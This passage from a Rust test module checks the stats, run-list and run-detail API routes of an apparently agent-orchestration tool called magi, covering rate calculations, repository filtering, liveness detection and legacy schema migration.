17749                solo_entered: solo_n,
17750                solo_adopted: 2 * usize::from(solo_n > 0),
17751                ..Default::default()
17752            };
17753            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17754            for (key, n, numerator) in [
17755                ("competitive_win_rate", competitive_n, a.competitive_wins),
17756                ("solo_adoption_rate", solo_n, a.solo_adopted),
17757            ] {
17758                if n == 0 {
17759                    assert!(v[key].is_null());
17760                } else {
17761                    assert_eq!(v[key]["denominator"], n);
17762                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17763                }
17764            }
17765        }
17766        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17767        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17768        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17769        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17770    }
17771
17772    #[test]
17773    fn stats_bars_share_one_id_keyed_plan() {
17774        let start = APP_JS
17775            .find("function statsBarRows(")
17776            .expect("statsBarRows exists");
17777        let body = &APP_JS[start..];
17778        let body = &body[..body.find("\n}\n").expect("function end")];
17779        assert!(body.contains("statsBarPlan(rows)"));
17780        assert!(body.contains("statsAgentTone(row.agent)"));
17781        assert!(!body.contains("candTone(i)"));
17782        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17783        for root in [
17784            "stats-agents-bars",
17785            "stats-solo-bars",
17786            "stats-reviewers-bars",
17787        ] {
17788            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17789        }
17790    }
17791
17792    #[test]
17793    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17794        let start = APP_JS
17795            .find("function renderStatsReviewerScatter(")
17796            .expect("renderStatsReviewerScatter exists");
17797        let body = &APP_JS[start..];
17798        let body = &body[..body.find("\n}\n").expect("function end")];
17799        assert!(body.contains("statsScatterPlan(reviewers)"));
17800        assert!(body.contains("statsAgentTone(d.agent)"));
17801        assert!(APP_JS.contains("function statsScatterPlan("));
17802        assert!(
17803            APP_JS.contains("d.submitted < STATS_LOW_N")
17804                || APP_JS.contains("r.submitted < STATS_LOW_N")
17805        );
17806        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17807        assert!(APP_CSS.contains(".precision-scatter"));
17808    }
17809
17810    #[test]
17811    fn advisor_reflection_is_drawn_as_stacked_segments() {
17812        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17813        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
17814        let html = include_str!("../assets/ui/index.html");
17815        assert!(html.contains("Approximate"));
17816        for label in ["reflected strongly", "faint", "no proposal"] {
17817            assert!(html.contains(label));
17818        }
17819        let css = include_str!("../assets/ui/app.css");
17820        for c in ["refl-strong", "refl-faint", "refl-absent"] {
17821            assert!(css.contains(&format!(".{c} {{")));
17822        }
17823    }
17824
17825    #[test]
17826    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17827        assert!(APP_JS.contains("function statsDailyPlan("));
17828        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17829        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17830    }
17831
17832    #[test]
17833    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17834        let start = APP_JS
17835            .find("function scheduleSearch(")
17836            .expect("scheduleSearch exists");
17837        let body = &APP_JS[start..];
17838        let body = &body[..body.find("\n}\n").expect("function end")];
17839        assert!(body.contains("s.seq += 1"));
17840    }
17841
17842    /// The dashboard reads every run's state itself rather than trusting a
17843    /// separately-maintained count, so an unreadable run must be counted the
17844    /// same way `/api/health` counts it - never silently dropped the way the
17845    /// CLI's own `stats::load_all` drops it.
17846    #[tokio::test]
17847    async fn stats_runs_unreadable_matches_health() {
17848        let f = Fixture::start().await;
17849        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17850        let broken = f.runs().join("20260902-140502-bad");
17851        std::fs::create_dir_all(&broken).expect("run dir");
17852        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17853
17854        let stats = f.get("/api/stats").await;
17855        let health = f.get("/api/health").await;
17856
17857        assert_eq!(stats.status, 200);
17858        assert_eq!(stats.json()["totals"]["runs"], 1);
17859        assert_eq!(stats.json()["runs_unreadable"], 1);
17860        assert_eq!(
17861            stats.json()["runs_unreadable"],
17862            health.json()["runs_unreadable"],
17863            "the dashboard and /api/health must never disagree about how many \
17864             runs could not be read"
17865        );
17866    }
17867
17868    #[tokio::test]
17869    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17870        let f = Fixture::start().await;
17871        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17872        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17873        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17874
17875        let totals = &f.get("/api/stats").await.json()["totals"];
17876        assert_eq!(totals["runs"], 3);
17877        assert_eq!(totals["merged"], 1);
17878        assert_eq!(totals["stalled"], 1);
17879        assert_eq!(totals["in_progress"], 1);
17880        // A stalled run must never read as blocked/merged/ready - it is its
17881        // own bucket, not folded into a "decided" one.
17882        assert_eq!(totals["blocked"], 0);
17883        assert_eq!(totals["ready"], 0);
17884    }
17885
17886    #[tokio::test]
17887    async fn stats_advisors_report_proposals_and_reflection() {
17888        use crate::advise::{Advice, AdvisorRecord, Reflection};
17889        use crate::verdict::Proposal;
17890
17891        let f = Fixture::start().await;
17892        let mut state = RunState::new(
17893            PathBuf::from("/repo/magi"),
17894            "main".to_owned(),
17895            "0123456789abcdef".to_owned(),
17896            "task".to_owned(),
17897            Config::default(),
17898        );
17899        state.id = "20260902-140501-a".to_owned();
17900        state.status = RunStatus::Merged;
17901        state.advice = Some(Advice {
17902            records: vec![
17903                AdvisorRecord {
17904                    seat: "advisor-1".to_owned(),
17905                    agent: "alpha".to_owned(),
17906                    proposal: Some(Proposal {
17907                        approach: "do it".to_owned(),
17908                        key_tradeoff: "speed over memory".to_owned(),
17909                        risks: Vec::new(),
17910                        touches: Vec::new(),
17911                        why_not_naive: "breaks under load".to_owned(),
17912                    }),
17913                    error: None,
17914                    duration_ms: 0,
17915                    reflection: Reflection::Strong,
17916                },
17917                AdvisorRecord {
17918                    seat: "advisor-2".to_owned(),
17919                    agent: "alpha".to_owned(),
17920                    proposal: None,
17921                    error: Some("timed out".to_owned()),
17922                    duration_ms: 0,
17923                    reflection: Reflection::Absent,
17924                },
17925            ],
17926            synthesis: Some("blended brief".to_owned()),
17927        });
17928        let dir = f.runs().join(&state.id);
17929        std::fs::create_dir_all(&dir).expect("run dir");
17930        std::fs::write(
17931            dir.join("run.json"),
17932            serde_json::to_string_pretty(&state).expect("serialize run"),
17933        )
17934        .expect("write run.json");
17935
17936        // `alpha` is in no roster here; this test is about the rates.
17937        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17938        let alpha = advisors
17939            .as_array()
17940            .expect("an array")
17941            .iter()
17942            .find(|a| a["agent"] == "alpha")
17943            .expect("alpha row");
17944        assert_eq!(alpha["seated"], 2);
17945        assert_eq!(alpha["proposed"], 1);
17946        assert_eq!(alpha["absent"], 1);
17947        assert_eq!(alpha["strong"], 1);
17948        assert_eq!(alpha["faint"], 0);
17949        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17950    }
17951
17952    #[tokio::test]
17953    async fn stats_hides_agents_outside_the_roster_unless_all() {
17954        use crate::run::Candidate;
17955        let repo = TempDir::new().expect("repo dir");
17956        std::fs::write(
17957            repo.path().join("magi.toml"),
17958            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17959        )
17960        .expect("magi.toml");
17961        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17962        let mut state = RunState::new(
17963            PathBuf::from("/repo/magi"),
17964            "main".to_owned(),
17965            "0123456789abcdef".to_owned(),
17966            "task".to_owned(),
17967            Config::default(),
17968        );
17969        state.id = "20260902-140501-a".to_owned();
17970        state.status = RunStatus::Merged;
17971        for (label, agent) in [('A', "keep"), ('B', "retired")] {
17972            let mut c: Candidate = serde_json::from_value(serde_json::json!({
17973                "index": 0, "label": label.to_string(), "agent": agent,
17974                "branch": "b", "worktree": "/w",
17975            }))
17976            .expect("candidate");
17977            c.label = label;
17978            state.candidates.push(c);
17979        }
17980        let dir = f.runs().join(&state.id);
17981        std::fs::create_dir_all(&dir).expect("run dir");
17982        std::fs::write(
17983            dir.join("run.json"),
17984            serde_json::to_string_pretty(&state).expect("serialize run"),
17985        )
17986        .expect("write run.json");
17987
17988        let agents_of = |v: &serde_json::Value| -> Vec<String> {
17989            v["agents"]
17990                .as_array()
17991                .expect("array")
17992                .iter()
17993                .map(|a| a["agent"].as_str().unwrap().to_owned())
17994                .collect()
17995        };
17996        let hidden = f.get("/api/stats").await.json();
17997        assert_eq!(agents_of(&hidden), ["keep"]);
17998        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17999        assert_eq!(hidden["totals"]["runs"], 1);
18000
18001        let all = f.get("/api/stats?all=true").await.json();
18002        assert_eq!(agents_of(&all).len(), 2);
18003        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18004        // Verify competitive and solo keys exist on agent entries
18005        let keep_agent = all["agents"]
18006            .as_array()
18007            .unwrap()
18008            .iter()
18009            .find(|a| a["agent"] == "keep")
18010            .unwrap();
18011        assert_eq!(keep_agent["competitive_entered"], 1);
18012        assert_eq!(keep_agent["competitive_wins"], 0);
18013        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18014        assert_eq!(keep_agent["solo_entered"], 0);
18015        assert_eq!(keep_agent["solo_adopted"], 0);
18016        assert!(keep_agent["solo_adoption_rate"].is_null());
18017    }
18018
18019    #[tokio::test]
18020    async fn stats_release_bumps_split_clean_from_attention() {
18021        use crate::run::ReleaseBump;
18022
18023        let f = Fixture::start().await;
18024
18025        let mut clean = RunState::new(
18026            PathBuf::from("/repo/magi"),
18027            "main".to_owned(),
18028            "0123456789abcdef".to_owned(),
18029            "task".to_owned(),
18030            Config::default(),
18031        );
18032        clean.id = "20260902-140501-a".to_owned();
18033        clean.status = RunStatus::Merged;
18034        clean.release_bump = Some(ReleaseBump {
18035            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18036            version: Some("1.0.0".to_owned()),
18037            automerge_enabled: true,
18038            merged_directly: false,
18039            local: false,
18040            release: None,
18041            problem: None,
18042            action_required: None,
18043            skipped: None,
18044        });
18045
18046        let mut blocked = RunState::new(
18047            PathBuf::from("/repo/magi"),
18048            "main".to_owned(),
18049            "0123456789abcdef".to_owned(),
18050            "task".to_owned(),
18051            Config::default(),
18052        );
18053        blocked.id = "20260902-140502-b".to_owned();
18054        blocked.status = RunStatus::Merged;
18055        blocked.release_bump = Some(ReleaseBump {
18056            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18057            version: Some("1.0.1".to_owned()),
18058            automerge_enabled: false,
18059            merged_directly: false,
18060            local: false,
18061            release: None,
18062            problem: Some("checks red".to_owned()),
18063            action_required: Some("look at the PR".to_owned()),
18064            skipped: None,
18065        });
18066
18067        for state in [&clean, &blocked] {
18068            let dir = f.runs().join(&state.id);
18069            std::fs::create_dir_all(&dir).expect("run dir");
18070            std::fs::write(
18071                dir.join("run.json"),
18072                serde_json::to_string_pretty(state).expect("serialize run"),
18073            )
18074            .expect("write run.json");
18075        }
18076
18077        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18078        assert_eq!(bumps["merged"], 2);
18079        assert_eq!(bumps["recorded"], 2);
18080        assert_eq!(bumps["pr_opened"], 2);
18081        assert_eq!(bumps["automerge_enabled"], 1);
18082        assert_eq!(bumps["needs_attention"], 1);
18083        assert_eq!(bumps["clean"], 1);
18084        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18085        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18086    }
18087
18088    #[tokio::test]
18089    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18090        let f = Fixture::start().await;
18091        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18092
18093        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18094        assert_eq!(bumps["merged"], 1);
18095        assert_eq!(bumps["recorded"], 0);
18096        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18097        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18098        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18099        // `pr_opened` and `recorded` are both zero here, so these rates have
18100        // no denominator to compute from and must be null.
18101        assert_eq!(bumps["automerge_rate"], Value::Null);
18102        assert_eq!(bumps["attention_rate"], Value::Null);
18103    }
18104
18105    #[tokio::test]
18106    async fn stats_queue_counts_come_from_the_live_queue() {
18107        let f = Fixture::start().await;
18108        let q = f.queue();
18109        let mut queued = Task::new(
18110            "queued task".to_owned(),
18111            "do it".to_owned(),
18112            PathBuf::from("/repo"),
18113            Source::Human,
18114        );
18115        q.put(&mut queued).expect("put queued");
18116        let mut held = Task::new(
18117            "held task".to_owned(),
18118            "do it later".to_owned(),
18119            PathBuf::from("/repo"),
18120            Source::Human,
18121        );
18122        held.hold_machine(Some("out of attempts".to_owned()));
18123        q.put(&mut held).expect("put held");
18124
18125        let queue = f.get("/api/stats").await.json()["queue"].clone();
18126        assert_eq!(queue["queued"], 1);
18127        assert_eq!(queue["held"], 1);
18128        assert_eq!(queue["running"], 0);
18129        assert_eq!(queue["done"], 0);
18130        assert_eq!(queue["failed"], 0);
18131        assert_eq!(queue["blocked"], 0);
18132    }
18133
18134    #[tokio::test]
18135    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18136        let f = Fixture::start().await;
18137        let stats = f.get("/api/stats").await;
18138        assert_eq!(stats.status, 200);
18139        assert_eq!(stats.json()["totals"]["runs"], 0);
18140        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18141        assert_eq!(stats.json()["runs_unreadable"], 0);
18142        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18143        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18144        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18145        assert_eq!(stats.json()["repo"], Value::Null);
18146    }
18147
18148    #[tokio::test]
18149    async fn stats_lists_every_repository_with_runs_recorded() {
18150        let f = Fixture::start().await;
18151        write_run_repo(
18152            &f.runs(),
18153            "20260902-140501-a",
18154            RunStatus::Merged,
18155            "/repos/a",
18156        );
18157        write_run_repo(
18158            &f.runs(),
18159            "20260902-140502-b",
18160            RunStatus::Merged,
18161            "/repos/a",
18162        );
18163        write_run_repo(
18164            &f.runs(),
18165            "20260902-140503-c",
18166            RunStatus::Blocked,
18167            "/repos/b",
18168        );
18169
18170        let stats = f.get("/api/stats").await;
18171        assert_eq!(stats.status, 200);
18172        // Unfiltered - the aggregate across both repositories.
18173        assert_eq!(stats.json()["totals"]["runs"], 3);
18174        assert_eq!(stats.json()["repo"], Value::Null);
18175
18176        let repos = stats.json()["repos"].clone();
18177        let repos = repos.as_array().unwrap();
18178        assert_eq!(repos.len(), 2);
18179        // Busiest (2 runs) first.
18180        assert_eq!(repos[0]["repo"], "/repos/a");
18181        assert_eq!(repos[0]["name"], "a");
18182        assert_eq!(repos[0]["runs"], 2);
18183        assert_eq!(repos[1]["repo"], "/repos/b");
18184        assert_eq!(repos[1]["runs"], 1);
18185    }
18186
18187    #[tokio::test]
18188    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18189        let f = Fixture::start().await;
18190        write_run_repo(
18191            &f.runs(),
18192            "20260902-140501-a",
18193            RunStatus::Merged,
18194            "/repos/a",
18195        );
18196        write_run_repo(
18197            &f.runs(),
18198            "20260902-140502-b",
18199            RunStatus::Blocked,
18200            "/repos/b",
18201        );
18202
18203        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18204        assert_eq!(stats.status, 200);
18205        assert_eq!(stats.json()["totals"]["runs"], 1);
18206        assert_eq!(stats.json()["totals"]["merged"], 1);
18207        assert_eq!(stats.json()["repo"], "/repos/a");
18208        // The repository list itself is unaffected by the filter - it is
18209        // what a client switches repositories from.
18210        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18211        // runs_unreadable is a whole-workload count, never scoped to the
18212        // selected repository - see StatsView::runs_unreadable's own doc.
18213        assert_eq!(stats.json()["runs_unreadable"], 0);
18214    }
18215
18216    #[tokio::test]
18217    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18218        let f = Fixture::start().await;
18219        write_run_repo(
18220            &f.runs(),
18221            "20260902-140501-a",
18222            RunStatus::Merged,
18223            "/repos/a",
18224        );
18225        write_run_repo(
18226            &f.runs(),
18227            "20260902-140502-b",
18228            RunStatus::Merged,
18229            "/repos/b",
18230        );
18231
18232        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18233            let json = f.get(uri).await.json();
18234            let daily = json["daily"].as_array().expect("daily is an array");
18235            assert_eq!(daily.len(), 30);
18236            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18237            let mut sorted = dates.clone();
18238            sorted.sort();
18239            assert_eq!(dates, sorted);
18240            for d in daily {
18241                assert_eq!(
18242                    d["merged"].as_u64().unwrap()
18243                        + d["ready"].as_u64().unwrap()
18244                        + d["other"].as_u64().unwrap(),
18245                    d["runs"].as_u64().unwrap()
18246                );
18247            }
18248            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18249        }
18250    }
18251
18252    #[tokio::test]
18253    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18254        let f = Fixture::start().await;
18255        write_run_repo(
18256            &f.runs(),
18257            "20260902-140501-a",
18258            RunStatus::Merged,
18259            "/repos/a",
18260        );
18261
18262        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18263        assert_eq!(stats.status, 404);
18264    }
18265
18266    #[tokio::test]
18267    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18268        let f = Fixture::start().await;
18269        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18270
18271        let summary = f.get("/api/runs").await.json();
18272        let row = &summary[0];
18273        assert_eq!(row["short"], "a1b2");
18274        assert_eq!(row["status"], "ready");
18275        assert_eq!(row["done"], true);
18276        assert_eq!(row["title"], "Add a web UI");
18277        assert_eq!(row["repo_name"], "magi");
18278        assert_eq!(row["judges"], 3);
18279        assert_eq!(row["winner"], Value::Null);
18280        assert_eq!(row["reviews"], 0);
18281
18282        // The short id resolves, and the detail route is the state itself, not
18283        // a projection of it: the UI reads fields the summary does not carry.
18284        let detail = f.get("/api/runs/a1b2").await;
18285        assert_eq!(detail.status, 200);
18286        assert_eq!(detail.json()["base_branch"], "main");
18287        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18288    }
18289
18290    /// `status: "ready"` alone cannot tell a run still headed for a landing
18291    /// (a PR closed without merging, say) apart from one `[merge] mode =
18292    /// "none"` left unmerged for good — the confusion the operator flagged
18293    /// after the CLI report already grew a `not landed — nothing to do by
18294    /// design` line for exactly this case (`report.rs`). Both the list route
18295    /// and the detail route must carry a flag the phone can key on instead of
18296    /// re-deriving it from `status` + `merge.mode` itself.
18297    #[tokio::test]
18298    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18299        let f = Fixture::start().await;
18300
18301        let mut none_run = RunState::new(
18302            PathBuf::from("/repo/magi"),
18303            "main".to_owned(),
18304            "0123456789abcdef".to_owned(),
18305            "Add a web UI".to_owned(),
18306            Config::default(),
18307        );
18308        none_run.id = "20260902-140503-none".to_owned();
18309        none_run.status = RunStatus::Ready;
18310        none_run.merge = Some(crate::run::MergeOutcome {
18311            mode: crate::config::MergeMode::None,
18312            ok: true,
18313            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18314            empty: false,
18315        });
18316        write_state(&f.runs(), &none_run);
18317
18318        let mut pr_run = RunState::new(
18319            PathBuf::from("/repo/magi"),
18320            "main".to_owned(),
18321            "0123456789abcdef".to_owned(),
18322            "Add a web UI".to_owned(),
18323            Config::default(),
18324        );
18325        pr_run.id = "20260902-140504-prcl".to_owned();
18326        pr_run.status = RunStatus::Ready;
18327        pr_run.merge = Some(crate::run::MergeOutcome {
18328            mode: crate::config::MergeMode::Pr,
18329            ok: false,
18330            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18331            empty: false,
18332        });
18333        write_state(&f.runs(), &pr_run);
18334
18335        let summary = f.get("/api/runs").await.json();
18336        let rows: std::collections::HashMap<&str, &Value> = summary
18337            .as_array()
18338            .expect("an array")
18339            .iter()
18340            .map(|r| (r["id"].as_str().expect("an id"), r))
18341            .collect();
18342        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18343        assert_eq!(
18344            rows[none_run.id.as_str()]["unmerged_by_design"],
18345            true,
18346            "a mode-none Ready must be flagged in the list"
18347        );
18348        assert_eq!(
18349            rows[pr_run.id.as_str()]["unmerged_by_design"],
18350            false,
18351            "a Ready reached by a closed pull request is a different case"
18352        );
18353
18354        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18355        assert_eq!(none_detail["status"], "ready");
18356        assert_eq!(none_detail["unmerged_by_design"], true);
18357
18358        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18359        assert_eq!(pr_detail["unmerged_by_design"], false);
18360    }
18361
18362    /// `RunState::active` is only ever cleared by whoever populated it, so the
18363    /// detail route also has to say whether a daemon is actually still
18364    /// driving this run right now — otherwise a seat from a killed process's
18365    /// last wave would read as live forever.
18366    #[tokio::test]
18367    async fn run_core_survives_unavailable_related_stores() {
18368        let home = TempDir::new().unwrap();
18369        let ui = delta_test_ui(home.path());
18370        let state = RunState::new(
18371            PathBuf::from("/repo/magi"),
18372            "main".into(),
18373            "0123456789abcdef".into(),
18374            "Useful core instructions".into(),
18375            Config::default(),
18376        );
18377        let dir = ui.runs.join(&state.id);
18378        std::fs::create_dir_all(&dir).unwrap();
18379        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18380        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18381        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18382        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18383            .await
18384            .unwrap()
18385            .0;
18386        assert_eq!(core.state.instruction, state.instruction);
18387        assert_eq!(core.state.updated_at, state.updated_at);
18388        assert!(core.task.is_none());
18389        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18390    }
18391
18392    #[tokio::test]
18393    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18394        let f = Fixture::start().await;
18395        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18396        // half of this test can claim the daemon is working on it without a
18397        // second helper.
18398        let id = "20260902-140502-bbbb";
18399        let mut state = RunState::new(
18400            PathBuf::from("/repo/magi"),
18401            "main".to_owned(),
18402            "0123456789abcdef".to_owned(),
18403            "Add a web UI".to_owned(),
18404            Config::default(),
18405        );
18406        state.id = id.to_owned();
18407        state.status = RunStatus::Judging;
18408        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18409        let dir = f.runs().join(id);
18410        std::fs::create_dir_all(&dir).expect("run dir");
18411        std::fs::write(
18412            dir.join("run.json"),
18413            serde_json::to_string_pretty(&state).expect("serialize run"),
18414        )
18415        .expect("write run.json");
18416
18417        // No daemon.json at all, and no `driver_pid` recorded either (this
18418        // state was written directly, never through `execute()`): there is
18419        // nothing to confirm either way, so the route must say `"unknown"` —
18420        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18421        // run` used to get from this route before `driver_pid` existed.
18422        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18423        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18424        assert_eq!(cold["live"], "unknown", "{cold}");
18425
18426        // A fresh heartbeat naming exactly this run: the same entry now reads
18427        // as confirmed, not merely recorded.
18428        write_daemon(f.home.path(), Timestamp::now());
18429        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18430        assert_eq!(warm["live"], "live", "{warm}");
18431    }
18432
18433    #[test]
18434    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18435        let home = tempfile::tempdir().expect("temp home");
18436        let runs = home.path().join("runs");
18437        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18438            let mut state = RunState::new(
18439                PathBuf::from("/repo/magi"),
18440                "main".to_owned(),
18441                "0123456789abcdef".to_owned(),
18442                "Generated review context, not authored task criteria".to_owned(),
18443                Config::default(),
18444            );
18445            state.origin = origin;
18446            state.status = RunStatus::Blocked;
18447            // Earlier migrations must not infer these facts again.
18448            state.driver_exited = false;
18449            state.gate_ran = true;
18450            let expected = serde_json::to_value(&state).expect("serialize current state");
18451            let mut legacy = expected.clone();
18452            legacy["schema"] = serde_json::json!(13);
18453            legacy.as_object_mut().unwrap().remove("task_instruction");
18454            let dir = runs.join(&state.id);
18455            std::fs::create_dir_all(&dir).expect("run dir");
18456            let path = dir.join("run.json");
18457            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18458            std::fs::write(&path, &body).expect("write legacy run");
18459
18460            for loaded in [
18461                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18462                read_run(&runs, &state.id).expect("web migration"),
18463            ] {
18464                assert_eq!(loaded.schema, crate::run::SCHEMA);
18465                assert!(loaded.task_instruction.is_none());
18466                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18467            }
18468            assert_eq!(runs_unreadable(&runs), 0);
18469            assert_eq!(std::fs::read(&path).unwrap(), body);
18470        }
18471    }
18472
18473    /// Where a run came from is shown, and a run written before origins were
18474    /// recorded (schema 12, no `origin` key) stays readable and says so.
18475    #[tokio::test]
18476    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18477        let f = Fixture::start().await;
18478        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18479            let mut state = RunState::new(
18480                PathBuf::from("/repo/magi"),
18481                "main".to_owned(),
18482                "0123456789abcdef".to_owned(),
18483                "Add a web UI".to_owned(),
18484                Config::default(),
18485            );
18486            state.id = id.to_owned();
18487            state.origin = origin;
18488            let mut value = serde_json::to_value(&state).expect("serialize run");
18489            if let Some(schema) = schema {
18490                value["schema"] = serde_json::json!(schema);
18491                value.as_object_mut().unwrap().remove("origin");
18492            }
18493            let dir = f.runs().join(id);
18494            std::fs::create_dir_all(&dir).expect("run dir");
18495            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18496        };
18497        write(
18498            "20260930-092817-ec34",
18499            Some(crate::run::Origin::from_agent_env(
18500                Some(("4a7b".to_owned(), "chat".to_owned())),
18501                None,
18502            )),
18503            None,
18504        );
18505        write("20260930-092817-0ld1", None, Some(12));
18506
18507        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18508        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18509        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18510
18511        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18512        assert_eq!(
18513            old["origin_label"], "origin unknown (started before origins were recorded)",
18514            "{old}"
18515        );
18516        assert!(old["origin"].is_null(), "{old}");
18517
18518        let list = f.get("/api/runs").await.json();
18519        let labels: Vec<_> = list
18520            .as_array()
18521            .unwrap()
18522            .iter()
18523            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18524            .collect();
18525        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18526    }
18527
18528    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18529    /// review` claims no daemon at all, so before this field existed the
18530    /// route above read it as `"dead"` — indistinguishable from a run a
18531    /// killed process abandoned — the whole time it was genuinely still
18532    /// answering. With a live pid recorded, it must read `"live"` even
18533    /// though no daemon claims it.
18534    #[tokio::test]
18535    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18536        let f = Fixture::start().await;
18537        let id = "20260922-090000-cccc";
18538        let mut state = RunState::new(
18539            PathBuf::from("/repo/magi"),
18540            "main".to_owned(),
18541            "0123456789abcdef".to_owned(),
18542            "Review only".to_owned(),
18543            Config::default(),
18544        );
18545        state.id = id.to_owned();
18546        state.status = RunStatus::Reviewing;
18547        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18548        // This test process's own pid: guaranteed alive, and never needs a
18549        // real daemon or a second process to prove it. The matching start-time
18550        // marker is what `liveness` now requires alongside a live pid — see
18551        // `RunState::driver_started_at`'s own doc for why the pid alone is
18552        // not enough.
18553        state.driver_pid = Some(std::process::id());
18554        state.driver_started_at = Some(
18555            crate::proc::process_started_at(std::process::id())
18556                .expect("this test process's own start time must be queryable"),
18557        );
18558        let dir = f.runs().join(id);
18559        std::fs::create_dir_all(&dir).expect("run dir");
18560        std::fs::write(
18561            dir.join("run.json"),
18562            serde_json::to_string_pretty(&state).expect("serialize run"),
18563        )
18564        .expect("write run.json");
18565
18566        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18567        assert_eq!(detail["live"], "live", "{detail}");
18568    }
18569
18570    /// A killed manual run's pid can be handed to a wholly unrelated later
18571    /// process — a live query on `driver_pid` alone would read this as
18572    /// `"live"`, exactly the false positive `driver_started_at` exists to
18573    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18574    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18575    #[tokio::test]
18576    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18577        let f = Fixture::start().await;
18578        let id = "20260922-090100-dddd";
18579        let mut state = RunState::new(
18580            PathBuf::from("/repo/magi"),
18581            "main".to_owned(),
18582            "0123456789abcdef".to_owned(),
